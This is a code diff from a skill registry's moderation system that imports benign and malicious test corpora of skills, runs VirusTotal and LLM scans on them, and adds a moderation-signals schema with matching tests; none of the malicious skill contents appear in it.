name: handle,
displayName,
role: args.role,
trustedPublisher: args.trustedPublisher,
createdAt: now,
updatedAt: now,
})
return { userId, created: true as const }
},
})
export const getFalsePositiveCorpusMatrixInternal = internalQuery({
args: {},
handler: async () => FALSE_POSITIVE_CORPUS,
})
export const getMaliciousCorpusMatrixInternal = internalQuery({
args: {},
handler: async () => MALICIOUS_CORPUS,
})
export const getFalsePositiveCorpusReportInternal = internalQuery({
args: {
caseIds: v.optional(v.array(v.string())),
includeAdminVariants: v.optional(v.boolean()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const cases = resolveCorpusCases(args.caseIds)
const includeAdminVariants = args.includeAdminVariants ?? true
const userPrefix = normalizePrefix(args.userPrefix, DEFAULT_USER_PREFIX)
const adminPrefix = normalizePrefix(args.adminPrefix, DEFAULT_ADMIN_PREFIX)
const reports: ImportedSkillReport[] = []
for (const entry of cases) {
const variants: Array<{
targetSlug: string
ownerHandle: string
ownerRole: 'admin' | 'moderator' | 'user'
}> = [
{
targetSlug: buildTargetSlug(userPrefix, entry.sourceSlug),
ownerHandle: 'moderation-fp-user',
ownerRole: 'user',
},
]
if (includeAdminVariants) {
variants.push({
targetSlug: buildTargetSlug(adminPrefix, entry.sourceSlug),
ownerHandle: 'moderation-fp-admin',
ownerRole: 'admin',
})
}
for (const variant of variants) {
const skill = await ctx.db
.query('skills')
.withIndex('by_slug', (q) => q.eq('slug', variant.targetSlug))
.unique()
const version = skill?.latestVersionId
? await ctx.db.get(skill.latestVersionId)
: null
reports.push({
caseId: entry.caseId,
bucket: entry.bucket,
issueNumber: entry.issueNumber,
sourceSlug: entry.sourceSlug,
targetSlug: variant.targetSlug,
ownerHandle: variant.ownerHandle,
ownerRole: variant.ownerRole,
notes: entry.notes,
exists: Boolean(skill),
version: version?.version ?? null,
sourceVersionId: skill?.moderationSourceVersionId ?? null,
moderationStatus: skill?.moderationStatus ?? null,
moderationReason: skill?.moderationReason ?? null,
moderationVerdict: skill?.moderationVerdict ?? null,
moderationReasonCodes: skill?.moderationReasonCodes ?? null,
moderationFlags: skill?.moderationFlags ?? null,
moderationSignals: skill?.moderationSignals ?? null,
isSuspicious: skill?.isSuspicious ?? null,
staticScan: version?.staticScan ?? null,
vtAnalysis: version?.vtAnalysis ?? null,
llmAnalysis: version?.llmAnalysis ?? null,
versionSignals: version?.moderationSignals ?? null,
})
}
}
return reports
},
})
export const getMaliciousCorpusReportInternal = internalQuery({
args: {
caseIds: v.optional(v.array(v.string())),
includeAdminVariants: v.optional(v.boolean()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const cases = resolveMaliciousCorpusCases(args.caseIds)
const includeAdminVariants = args.includeAdminVariants ?? true
const userPrefix = normalizeMaliciousPrefix(
args.userPrefix,
DEFAULT_MALICIOUS_USER_PREFIX,
)
const adminPrefix = normalizeMaliciousPrefix(
args.adminPrefix,
DEFAULT_MALICIOUS_ADMIN_PREFIX,
)
const reports: ImportedMaliciousSkillReport[] = []
for (const entry of cases) {
const variants: Array<{
targetSlug: string
ownerHandle: string
ownerRole: 'admin' | 'moderator' | 'user'
}> = [
{
targetSlug: buildMaliciousTargetSlug(userPrefix, entry.sourceSlug),
ownerHandle: 'moderation-mal-user',
ownerRole: 'user',
},
]
if (includeAdminVariants) {
variants.push({
targetSlug: buildMaliciousTargetSlug(adminPrefix, entry.sourceSlug),
ownerHandle: 'moderation-mal-admin',
ownerRole: 'admin',
})
}
for (const variant of variants) {
const skill = await ctx.db
.query('skills')
.withIndex('by_slug', (q) => q.eq('slug', variant.targetSlug))
.unique()
const version = skill?.latestVersionId
? await ctx.db.get(skill.latestVersionId)
: null
reports.push({
caseId: entry.caseId,
bucket: entry.bucket,
sourceSlug: entry.sourceSlug,
targetSlug: variant.targetSlug,
ownerHandle: variant.ownerHandle,
ownerRole: variant.ownerRole,
notes: entry.notes,
exists: Boolean(skill),
version: version?.version ?? null,
sourceVersionId: skill?.moderationSourceVersionId ?? null,
moderationStatus: skill?.moderationStatus ?? null,
moderationReason: skill?.moderationReason ?? null,
moderationVerdict: skill?.moderationVerdict ?? null,
moderationReasonCodes: skill?.moderationReasonCodes ?? null,
moderationFlags: skill?.moderationFlags ?? null,
moderationSignals: skill?.moderationSignals ?? null,
isSuspicious: skill?.isSuspicious ?? null,
staticScan: version?.staticScan ?? null,
vtAnalysis: version?.vtAnalysis ?? null,
llmAnalysis: version?.llmAnalysis ?? null,
versionSignals: version?.moderationSignals ?? null,
})
}
}
return reports
},
})
+727
View File
@@ -0,0 +1,727 @@
'use node'
import { v } from 'convex/values'
import { api, internal } from './_generated/api'
import type { Doc, Id } from './_generated/dataModel'
import { internalAction } from './functions'
import {
buildTargetSlug,
DEFAULT_ADMIN_PREFIX,
DEFAULT_REGISTRY_BASE_URL,
DEFAULT_USER_PREFIX,
normalizeBaseUrl,
normalizePrefix,
resolveCorpusCases,
} from './lib/moderationTestingCorpus'
import {
buildMaliciousTargetSlug,
DEFAULT_MALICIOUS_ADMIN_PREFIX,
DEFAULT_MALICIOUS_USER_PREFIX,
normalizeMaliciousPrefix,
resolveMaliciousCorpusCases,
} from './lib/moderationTestingMaliciousCorpus'
import { publishVersionForUser } from './lib/skillPublish'
const userRoleValidator = v.union(
v.literal('admin'),
v.literal('moderator'),
v.literal('user'),
)
type RegistrySkillResponse = {
skill: {
slug: string
displayName: string
}
latestVersion?: {
version?: string
changelog?: string | null
} | null
moderation?: Record<string, unknown> | null
}
type RegistryVersionResponse = {
skill: {
slug: string
displayName: string
}
version: {
version: string
changelog?: string | null
files: Array<{
path: string
size: number
sha256: string
contentType?: string | null
}>
}
}
type ImportedTestingFile = {
path: string
contentType?: string | null
bytes: Uint8Array
}
async function sha256Hex(bytes: Uint8Array) {
const { createHash } = await import('node:crypto')
const hash = createHash('sha256')
hash.update(bytes)
return hash.digest('hex')
}
async function fetchJson<T>(url: string): Promise<T> {
const response = await fetch(url, {
headers: {
Accept: 'application/json',
'User-Agent': 'clawhub-moderation-testing',
},
})
if (!response.ok) {
throw new Error(`Request failed (${response.status}) for ${url}`)
}
return (await response.json()) as T
}
async function fetchText(url: string): Promise<string> {
const response = await fetch(url, {
headers: {
Accept: 'text/plain',
'User-Agent': 'clawhub-moderation-testing',
},
})
if (!response.ok) {
throw new Error(`Request failed (${response.status}) for ${url}`)
}
return response.text()
}
async function resolveTargetOwnerUserId(
ctx: Parameters<typeof publishVersionForUser>[0],
params: {
ownerHandle: string
ownerDisplayName?: string
ownerRole: 'admin' | 'moderator' | 'user'
trustedPublisher?: boolean
},
) {
const ensured = (await ctx.runMutation(internal.moderationTesting.ensureCorpusUserInternal, {
handle: params.ownerHandle,
displayName: params.ownerDisplayName,
role: params.ownerRole,
trustedPublisher: params.trustedPublisher,
})) as {
userId: Id<'users'>
}
return ensured.userId
}
async function publishTestingBundle(
ctx: Parameters<typeof publishVersionForUser>[0],
params: {
ownerUserId: Id<'users'>
targetSlug: string
displayName: string
version: string
changelog: string
files: ImportedTestingFile[]
},
) {
const storedFiles: Array<{
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}> = []
for (const file of params.files) {
const storageId = await ctx.storage.store(
new Blob([Buffer.from(file.bytes)], {
type: file.contentType ?? 'text/plain; charset=utf-8',
}),
)
storedFiles.push({
path: file.path,
size: file.bytes.byteLength,
storageId,
sha256: await sha256Hex(file.bytes),
contentType: file.contentType ?? 'text/plain; charset=utf-8',
})
}
return publishVersionForUser(
ctx,
params.ownerUserId,
{
slug: params.targetSlug,
displayName: params.displayName,
version: params.version,
changelog: params.changelog,
files: storedFiles,
},
{
bypassGitHubAccountAge: true,
bypassNewSkillRateLimit: true,
bypassQualityGate: true,
skipBackup: true,
skipWebhook: true,
},
)
}
export const importPublicSkillFromRegistry: ReturnType<typeof internalAction> = internalAction({
args: {
sourceSlug: v.string(),
sourceVersion: v.optional(v.string()),
targetSlug: v.optional(v.string()),
ownerHandle: v.string(),
ownerDisplayName: v.optional(v.string()),
ownerRole: userRoleValidator,
trustedPublisher: v.optional(v.boolean()),
sourceBaseUrl: v.optional(v.string()),
},
handler: async (
ctx,
args,
): Promise<{
status: 'imported' | 'already_exists'
sourceSlug: string
sourceVersion: string
targetSlug: string
ownerUserId?: Id<'users'>
skillId: Id<'skills'> | null
versionId: Id<'skillVersions'> | null
sourceModeration?: Record<string, unknown> | null
}> => {
const baseUrl = normalizeBaseUrl(args.sourceBaseUrl)
const sourceSlug = args.sourceSlug.trim().toLowerCase()
const detail = await fetchJson<RegistrySkillResponse>(`${baseUrl}/api/v1/skills/${sourceSlug}`)
const sourceVersion = args.sourceVersion?.trim() || detail.latestVersion?.version?.trim()
if (!sourceVersion) {
throw new Error(`Could not resolve source version for ${sourceSlug}`)
}
const targetSlug = (args.targetSlug?.trim().toLowerCase() || sourceSlug).trim()
const existingSkill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: targetSlug,
})) as Doc<'skills'> | null
const existingVersion: Doc<'skillVersions'> | null = existingSkill
? ((await ctx.runQuery(api.skills.getVersionBySkillAndVersion, {
skillId: existingSkill._id,
version: sourceVersion,
})) as Doc<'skillVersions'> | null)
: null
if (existingVersion?.version === sourceVersion) {
return {
status: 'already_exists' as const,
sourceSlug,
sourceVersion,
targetSlug,
skillId: existingSkill?._id ?? null,
versionId: existingVersion?._id ?? null,
}
}
const ownerUserId = await resolveTargetOwnerUserId(ctx, {
ownerHandle: args.ownerHandle,
ownerDisplayName: args.ownerDisplayName,
ownerRole: args.ownerRole,
trustedPublisher: args.trustedPublisher,
})
const versionMeta = await fetchJson<RegistryVersionResponse>(
`${baseUrl}/api/v1/skills/${sourceSlug}/versions/${encodeURIComponent(sourceVersion)}`,
)
const files: ImportedTestingFile[] = []
for (const file of versionMeta.version.files) {
const fileUrl =
`${baseUrl}/api/v1/skills/${sourceSlug}/file?` +
new URLSearchParams({
path: file.path,
version: sourceVersion,
}).toString()
const content = await fetchText(fileUrl)
const bytes = new TextEncoder().encode(content)
files.push({
path: file.path,
contentType: file.contentType ?? 'text/plain; charset=utf-8',
bytes,
})
}
const publishResult = await publishTestingBundle(
ctx,
{
ownerUserId,
targetSlug,
displayName: versionMeta.skill.displayName,
version: versionMeta.version.version,
changelog:
versionMeta.version.changelog?.trim() || 'Imported for moderation testing',
files,
},
)
return {
status: 'imported' as const,
sourceSlug,
sourceVersion,
targetSlug,
ownerUserId,
skillId: publishResult.skillId,
versionId: publishResult.versionId,
sourceModeration: detail.moderation ?? null,
}
},
})
export const importSkillBundleForTesting: ReturnType<typeof internalAction> = internalAction({
args: {
sourceSlug: v.string(),
sourceVersion: v.string(),
sourceDisplayName: v.string(),
sourceChangelog: v.optional(v.string()),
targetSlug: v.optional(v.string()),
ownerHandle: v.string(),
ownerDisplayName: v.optional(v.string()),
ownerRole: userRoleValidator,
trustedPublisher: v.optional(v.boolean()),
files: v.array(
v.object({
path: v.string(),
contentType: v.optional(v.string()),
base64: v.string(),
}),
),
},
handler: async (
ctx,
args,
): Promise<{
status: 'imported' | 'already_exists'
sourceSlug: string
sourceVersion: string
targetSlug: string
ownerUserId?: Id<'users'>
skillId: Id<'skills'> | null
versionId: Id<'skillVersions'> | null
}> => {
const sourceSlug = args.sourceSlug.trim().toLowerCase()
const sourceVersion = args.sourceVersion.trim()
if (!sourceSlug || !sourceVersion) {
throw new Error('sourceSlug and sourceVersion are required')
}
const targetSlug = (args.targetSlug?.trim().toLowerCase() || sourceSlug).trim()
const existingSkill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: targetSlug,
})) as Doc<'skills'> | null
const existingVersion: Doc<'skillVersions'> | null = existingSkill
? ((await ctx.runQuery(api.skills.getVersionBySkillAndVersion, {
skillId: existingSkill._id,
version: sourceVersion,
})) as Doc<'skillVersions'> | null)
: null
if (existingVersion?.version === sourceVersion) {
return {
status: 'already_exists',
sourceSlug,
sourceVersion,
targetSlug,
skillId: existingSkill?._id ?? null,
versionId: existingVersion?._id ?? null,
}
}
const ownerUserId = await resolveTargetOwnerUserId(ctx, {
ownerHandle: args.ownerHandle,
ownerDisplayName: args.ownerDisplayName,
ownerRole: args.ownerRole,
trustedPublisher: args.trustedPublisher,
})
const files: ImportedTestingFile[] = args.files.map((file) => ({
path: file.path,
contentType: file.contentType ?? 'text/plain; charset=utf-8',
bytes: Buffer.from(file.base64, 'base64'),
}))
const publishResult = await publishTestingBundle(ctx, {
ownerUserId,
targetSlug,
displayName: args.sourceDisplayName.trim(),
version: sourceVersion,
changelog: args.sourceChangelog?.trim() || 'Imported from archived bundle for moderation testing',
files,
})
return {
status: 'imported',
sourceSlug,
sourceVersion,
targetSlug,
ownerUserId,
skillId: publishResult.skillId,
versionId: publishResult.versionId,
}
},
})
export const importFalsePositiveCorpusFromRegistry = internalAction({
args: {
caseIds: v.optional(v.array(v.string())),
includeAdminVariants: v.optional(v.boolean()),
sourceBaseUrl: v.optional(v.string()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const cases = resolveCorpusCases(args.caseIds)
const baseUrl = args.sourceBaseUrl?.trim() || DEFAULT_REGISTRY_BASE_URL
const userPrefix = normalizePrefix(args.userPrefix, DEFAULT_USER_PREFIX)
const adminPrefix = normalizePrefix(args.adminPrefix, DEFAULT_ADMIN_PREFIX)
const includeAdminVariants = args.includeAdminVariants ?? true
const results: Array<{
caseId: string
variant: 'user' | 'admin'
sourceSlug: string
targetSlug: string
status: 'imported' | 'already_exists' | 'error'
detail?: string
skillId?: Id<'skills'> | null
versionId?: Id<'skillVersions'> | null
}> = []
for (const entry of cases) {
const variants: Array<{
variant: 'user' | 'admin'
ownerHandle: string
ownerDisplayName: string
ownerRole: 'admin' | 'moderator' | 'user'
trustedPublisher?: boolean
targetSlug: string
}> = [
{
variant: 'user',
ownerHandle: 'moderation-fp-user',
ownerDisplayName: 'Moderation FP User',
ownerRole: 'user',
targetSlug: buildTargetSlug(userPrefix, entry.sourceSlug),
},
]
if (includeAdminVariants) {
variants.push({
variant: 'admin',
ownerHandle: 'moderation-fp-admin',
ownerDisplayName: 'Moderation FP Admin',
ownerRole: 'admin',
trustedPublisher: true,
targetSlug: buildTargetSlug(adminPrefix, entry.sourceSlug),
})
}
for (const variant of variants) {
try {
const result = (await ctx.runAction(
internal.moderationTestingNode.importPublicSkillFromRegistry,
{
sourceSlug: entry.sourceSlug,
targetSlug: variant.targetSlug,
ownerHandle: variant.ownerHandle,
ownerDisplayName: variant.ownerDisplayName,
ownerRole: variant.ownerRole,
trustedPublisher: variant.trustedPublisher,
sourceBaseUrl: baseUrl,
},
)) as {
status: 'imported' | 'already_exists'
skillId: Id<'skills'> | null
versionId: Id<'skillVersions'> | null
}
results.push({
caseId: entry.caseId,
variant: variant.variant,
sourceSlug: entry.sourceSlug,
targetSlug: variant.targetSlug,
status: result.status,
skillId: result.skillId,
versionId: result.versionId,
})
} catch (error) {
results.push({
caseId: entry.caseId,
variant: variant.variant,
sourceSlug: entry.sourceSlug,
targetSlug: variant.targetSlug,
status: 'error',
detail: error instanceof Error ? error.message : String(error),
})
}
}
}
return {
totalCases: cases.length,
imported: results.filter((entry) => entry.status === 'imported').length,
existing: results.filter((entry) => entry.status === 'already_exists').length,
errors: results.filter((entry) => entry.status === 'error').length,
results,
}
},
})
export const importMaliciousCorpusFromBundles = internalAction({
args: {
entries: v.array(
v.object({
caseId: v.string(),
sourceSlug: v.string(),
sourceVersion: v.string(),
sourceDisplayName: v.string(),
sourceChangelog: v.optional(v.string()),
files: v.array(
v.object({
path: v.string(),
contentType: v.optional(v.string()),
base64: v.string(),
}),
),
}),
),
includeAdminVariants: v.optional(v.boolean()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const requestedCases = new Set(args.entries.map((entry) => entry.caseId.trim()).filter(Boolean))
const corpusCases = resolveMaliciousCorpusCases(
requestedCases.size > 0 ? Array.from(requestedCases) : undefined,
)
const casesById = new Map(corpusCases.map((entry) => [entry.caseId, entry]))
const includeAdminVariants = args.includeAdminVariants ?? true
const userPrefix = normalizeMaliciousPrefix(
args.userPrefix,
DEFAULT_MALICIOUS_USER_PREFIX,
)
const adminPrefix = normalizeMaliciousPrefix(
args.adminPrefix,
DEFAULT_MALICIOUS_ADMIN_PREFIX,
)
const results: Array<{
caseId: string
variant: 'user' | 'admin'
sourceSlug: string
targetSlug: string
status: 'imported' | 'already_exists' | 'error'
detail?: string
skillId?: Id<'skills'> | null
versionId?: Id<'skillVersions'> | null
}> = []
for (const entry of args.entries) {
const corpusEntry = casesById.get(entry.caseId.trim())
if (!corpusEntry) {
results.push({
caseId: entry.caseId,
variant: 'user',
sourceSlug: entry.sourceSlug,
targetSlug: entry.sourceSlug,
status: 'error',
detail: `Unknown malicious corpus case: ${entry.caseId}`,
})
continue
}
const variants: Array<{
variant: 'user' | 'admin'
ownerHandle: string
ownerDisplayName: string
ownerRole: 'admin' | 'moderator' | 'user'
trustedPublisher?: boolean
targetSlug: string
}> = [
{
variant: 'user',
ownerHandle: 'moderation-mal-user',
ownerDisplayName: 'Moderation Malicious User',
ownerRole: 'user',
targetSlug: buildMaliciousTargetSlug(userPrefix, corpusEntry.sourceSlug),
},
]
if (includeAdminVariants) {
variants.push({
variant: 'admin',
ownerHandle: 'moderation-mal-admin',
ownerDisplayName: 'Moderation Malicious Admin',
ownerRole: 'admin',
trustedPublisher: true,
targetSlug: buildMaliciousTargetSlug(adminPrefix, corpusEntry.sourceSlug),
})
}
for (const variant of variants) {
try {
const result = (await ctx.runAction(
internal.moderationTestingNode.importSkillBundleForTesting,
{
sourceSlug: entry.sourceSlug,
sourceVersion: entry.sourceVersion,
sourceDisplayName: entry.sourceDisplayName,
sourceChangelog: entry.sourceChangelog,
targetSlug: variant.targetSlug,
ownerHandle: variant.ownerHandle,
ownerDisplayName: variant.ownerDisplayName,
ownerRole: variant.ownerRole,
trustedPublisher: variant.trustedPublisher,
files: entry.files,
},
)) as {
status: 'imported' | 'already_exists'
skillId: Id<'skills'> | null
versionId: Id<'skillVersions'> | null
}
results.push({
caseId: corpusEntry.caseId,
variant: variant.variant,
sourceSlug: corpusEntry.sourceSlug,
targetSlug: variant.targetSlug,
status: result.status,
skillId: result.skillId,
versionId: result.versionId,
})
} catch (error) {
results.push({
caseId: corpusEntry.caseId,
variant: variant.variant,
sourceSlug: corpusEntry.sourceSlug,
targetSlug: variant.targetSlug,
status: 'error',
detail: error instanceof Error ? error.message : String(error),
})
}
}
}
return {
totalCases: args.entries.length,
imported: results.filter((entry) => entry.status === 'imported').length,
existing: results.filter((entry) => entry.status === 'already_exists').length,
errors: results.filter((entry) => entry.status === 'error').length,
results,
}
},
})
export const triggerRealScansForSlug = internalAction({
args: {
slug: v.string(),
},
handler: async (ctx, args) => {
const skill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: args.slug.trim().toLowerCase(),
})) as Doc<'skills'> | null
if (!skill?.latestVersionId) {
return { ok: false as const, error: 'Skill not found or has no published version' }
}
await ctx.runAction(internal.vt.scanWithVirusTotal, {
versionId: skill.latestVersionId,
})
await ctx.runAction(internal.llmEval.evaluateWithLlm, {
versionId: skill.latestVersionId,
})
return { ok: true as const, skillId: skill._id, versionId: skill.latestVersionId }
},
})
export const triggerFalsePositiveCorpusScans = internalAction({
args: {
caseIds: v.optional(v.array(v.string())),
includeAdminVariants: v.optional(v.boolean()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const cases = resolveCorpusCases(args.caseIds)
const includeAdminVariants = args.includeAdminVariants ?? true
const userPrefix = normalizePrefix(args.userPrefix, DEFAULT_USER_PREFIX)
const adminPrefix = normalizePrefix(args.adminPrefix, DEFAULT_ADMIN_PREFIX)
const slugs = new Set<string>()
for (const entry of cases) {
slugs.add(buildTargetSlug(userPrefix, entry.sourceSlug))
if (includeAdminVariants) {
slugs.add(buildTargetSlug(adminPrefix, entry.sourceSlug))
}
}
const results: Array<{ slug: string; ok: boolean; error?: string }> = []
for (const slug of slugs) {
const result = (await ctx.runAction(internal.moderationTestingNode.triggerRealScansForSlug, {
slug,
})) as { ok: boolean; error?: string }
results.push({ slug, ok: result.ok, error: result.error })
}
return {
total: results.length,
ok: results.filter((entry) => entry.ok).length,
errors: results.filter((entry) => !entry.ok).length,
results,
}
},
})
export const triggerMaliciousCorpusScans = internalAction({
args: {
caseIds: v.optional(v.array(v.string())),
includeAdminVariants: v.optional(v.boolean()),
userPrefix: v.optional(v.string()),
adminPrefix: v.optional(v.string()),
},
handler: async (ctx, args) => {
const cases = resolveMaliciousCorpusCases(args.caseIds)
const includeAdminVariants = args.includeAdminVariants ?? true
const userPrefix = normalizeMaliciousPrefix(
args.userPrefix,
DEFAULT_MALICIOUS_USER_PREFIX,
)
const adminPrefix = normalizeMaliciousPrefix(
args.adminPrefix,
DEFAULT_MALICIOUS_ADMIN_PREFIX,
)
const slugs = new Set<string>()
for (const entry of cases) {
slugs.add(buildMaliciousTargetSlug(userPrefix, entry.sourceSlug))
if (includeAdminVariants) {
slugs.add(buildMaliciousTargetSlug(adminPrefix, entry.sourceSlug))
}
}
const results: Array<{ slug: string; ok: boolean; error?: string }> = []
for (const slug of slugs) {
const result = (await ctx.runAction(internal.moderationTestingNode.triggerRealScansForSlug, {
slug,
})) as { ok: boolean; error?: string }
results.push({ slug, ok: result.ok, error: result.error })
}
return {
total: results.length,
ok: results.filter((entry) => entry.ok).length,
errors: results.filter((entry) => !entry.ok).length,
results,
}
},
})
+67
View File
@@ -12,6 +12,71 @@ const manualModerationOverride = v.object({
updatedAt: v.number(),
})
const moderationSignalState = v.union(
v.literal('ready'),
v.literal('pending'),
v.literal('error'),
v.literal('not_applicable'),
)
const moderationSignalFamily = v.union(
v.literal('local'),
v.literal('vt'),
v.literal('llm'),
v.literal('behavioral'),
v.literal('trust'),
v.literal('manual'),
)
const moderationSignalContribution = v.union(
v.literal('decisive'),
v.literal('corroborating'),
v.literal('suppressed'),
v.literal('informational'),
v.literal('none'),
)
const moderationSignalSummary = v.object({
key: v.union(
v.literal('staticScan'),
v.literal('vtEngines'),
v.literal('vtCodeInsight'),
v.literal('llmScan'),
v.literal('behavioralScan'),
v.literal('publisherTrust'),
v.literal('manualOverride'),
),
family: moderationSignalFamily,
state: moderationSignalState,
verdict: v.optional(
v.union(
v.literal('clean'),
v.literal('suspicious'),
v.literal('malicious'),
),
),
contribution: moderationSignalContribution,
reasonCodes: v.array(v.string()),
metadataCodes: v.optional(v.array(v.string())),
suppressedReasonCodes: v.optional(v.array(v.string())),
summary: v.optional(v.string()),
rationale: v.optional(v.string()),
checkedAt: v.optional(v.number()),
details: v.optional(v.any()),
})
const moderationSignalsValidator = v.optional(
v.object({
staticScan: v.optional(moderationSignalSummary),
vtEngines: v.optional(moderationSignalSummary),
vtCodeInsight: v.optional(moderationSignalSummary),
llmScan: v.optional(moderationSignalSummary),
behavioralScan: v.optional(moderationSignalSummary),
publisherTrust: v.optional(moderationSignalSummary),
manualOverride: v.optional(moderationSignalSummary),
}),
)
const users = defineTable({
name: v.optional(v.string()),
image: v.optional(v.string()),
@@ -129,6 +194,7 @@ const skills = defineTable({
}),
),
),
moderationSignals: moderationSignalsValidator,
moderationSummary: v.optional(v.string()),
moderationEngineVersion: v.optional(v.string()),
moderationEvaluatedAt: v.optional(v.number()),
@@ -329,6 +395,7 @@ const skillVersions = defineTable({
checkedAt: v.number(),
}),
),
moderationSignals: moderationSignalsValidator,
staticScan: v.optional(
v.object({
status: v.union(
+31 -11
View File
@@ -181,7 +181,7 @@ describe('skills manual overrides', () => {
)
})
it('clears a skill-level override and restores scanner-derived suspicious state', async () => {
it('clears a skill-level override and restores scanner-derived aggregate state', async () => {
const now = 1_700_000_100_000
vi.spyOn(Date, 'now').mockReturnValue(now)
vi.mocked(requireUser).mockResolvedValue({
@@ -227,10 +227,17 @@ describe('skills manual overrides', () => {
expect(patch).toHaveBeenCalledWith(
'skills:1',
expect.objectContaining({
moderationReason: 'scanner.vt.suspicious',
moderationVerdict: 'suspicious',
moderationFlags: ['flagged.suspicious'],
isSuspicious: true,
moderationReason: 'scanner.aggregate.clean',
moderationVerdict: 'clean',
moderationFlags: undefined,
moderationReasonCodes: undefined,
isSuspicious: false,
moderationSignals: expect.objectContaining({
vtEngines: expect.objectContaining({
verdict: 'suspicious',
contribution: 'corroborating',
}),
}),
}),
)
expect(insert).toHaveBeenCalledWith(
@@ -382,12 +389,25 @@ describe('skills manual overrides', () => {
})
expect(patch).toHaveBeenCalledTimes(1)
expect(patch).toHaveBeenCalledWith('skillVersions:7', {
llmAnalysis: {
status: 'clean',
checkedAt: 200,
},
})
expect(patch).toHaveBeenCalledWith(
'skillVersions:7',
expect.objectContaining({
llmAnalysis: {
status: 'clean',
checkedAt: 200,
},
moderationSignals: expect.objectContaining({
vtEngines: expect.objectContaining({
verdict: 'clean',
contribution: 'informational',
}),
llmScan: expect.objectContaining({
verdict: 'clean',
contribution: 'informational',
}),
}),
}),
)
})
it('updates global public count when llm scan sync restores a skill to active', async () => {
+58 -1
View File
@@ -27,7 +27,9 @@ const getBySlugHandler = (
}>
)._handler
function makeCtx() {
function makeCtx(overrides?: {
skill?: Partial<Record<string, unknown>>
}) {
const skill = {
_id: 'skills:1',
_creationTime: 1,
@@ -56,6 +58,29 @@ function makeCtx() {
moderationVerdict: 'clean',
moderationFlags: undefined,
moderationReasonCodes: ['suspicious.dynamic_code_execution'],
moderationSignals: {
staticScan: {
key: 'staticScan',
family: 'local',
state: 'ready',
verdict: 'suspicious',
contribution: 'corroborating',
reasonCodes: ['suspicious.dynamic_code_execution'],
},
llmScan: {
key: 'llmScan',
family: 'llm',
state: 'ready',
verdict: 'suspicious',
contribution: 'corroborating',
reasonCodes: ['suspicious.llm_suspicious'],
details: {
guidance: 'internal guidance',
findings: 'internal findings',
model: 'gpt-test',
},
},
},
moderationSummary: 'Manual override (clean): internal staff note',
moderationEngineVersion: 'v2.0.0',
moderationEvaluatedAt: 30,
@@ -65,6 +90,7 @@ function makeCtx() {
reviewerUserId: 'users:moderator',
updatedAt: 30,
},
...overrides?.skill,
}
const latestVersion = {
@@ -122,12 +148,43 @@ describe('getBySlug public moderation info', () => {
moderationInfo: {
overrideActive: boolean
summary: string | null
signals?: unknown
} | null
}
expect(result.moderationInfo?.overrideActive).toBe(true)
expect(result.moderationInfo?.signals).toBeUndefined()
expect(result.moderationInfo?.summary).toBe(
'Security findings were reviewed by staff and cleared for public use.',
)
})
it('redacts moderation signal details for non-owner suspicious views', async () => {
vi.mocked(getAuthUserId).mockResolvedValue(null)
const { ctx } = makeCtx({
skill: {
moderationReason: 'scanner.llm.suspicious',
moderationVerdict: 'suspicious',
moderationFlags: ['flagged.suspicious'],
moderationSummary: 'Suspicious behavior detected.',
manualOverride: undefined,
},
})
const result = (await getBySlugHandler(ctx, {
slug: 'padel',
})) as {
moderationInfo: {
signals?: {
llmScan?: {
details?: unknown
verdict?: string
}
}
} | null
}
expect(result.moderationInfo?.signals?.llmScan?.verdict).toBe('suspicious')
expect(result.moderationInfo?.signals?.llmScan?.details).toBeUndefined()
})
})
+317 -3
View File
@@ -468,7 +468,18 @@ describe('skills anti-spam guards', () => {
it('keeps suspicious skills visible for low-trust publishers', async () => {
const patch = vi.fn(async () => {})
const version = { _id: 'skillVersions:1', skillId: 'skills:1' }
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.dynamic_code_execution'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
}
const skill = {
_id: 'skills:1',
slug: 'spam-skill',
@@ -896,7 +907,18 @@ describe('skills anti-spam guards', () => {
it('keeps admin-owned skills non-suspicious for suspicious scanner verdicts', async () => {
const patch = vi.fn(async () => {})
const version = { _id: 'skillVersions:1', skillId: 'skills:1' }
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.dynamic_code_execution'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
}
const skill = {
_id: 'skills:1',
slug: 'trusted-skill',
@@ -1067,7 +1089,18 @@ describe('skills anti-spam guards', () => {
it('vt suspicious escalation does not keep suspicious flags for admin owners', async () => {
const patch = vi.fn(async () => {})
const version = { _id: 'skillVersions:1', skillId: 'skills:1' }
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.dynamic_code_execution'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
}
const skill = {
_id: 'skills:1',
slug: 'trusted-skill',
@@ -1123,6 +1156,141 @@ describe('skills anti-spam guards', () => {
)
})
it('vt suspicious escalation does not leave stale suspicious flags when aggregate verdict is clean', async () => {
const patch = vi.fn(async () => {})
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: undefined,
llmAnalysis: undefined,
}
const skill = {
_id: 'skills:1',
slug: 'single-vt-signal',
ownerUserId: 'users:owner',
moderationFlags: ['flagged.suspicious'],
moderationReason: 'scanner.vt.suspicious',
}
const owner = {
_id: 'users:owner',
role: 'user',
deletedAt: undefined,
}
const db = {
get: vi.fn(async (id: string) => {
if (id === 'skills:1') return skill
if (id === 'users:owner') return owner
return null
}),
query: vi.fn((table: string) => {
const globalStatsQuery = buildGlobalStatsQuery(table)
if (globalStatsQuery) return globalStatsQuery
const digestQuery = buildDigestQuery(table)
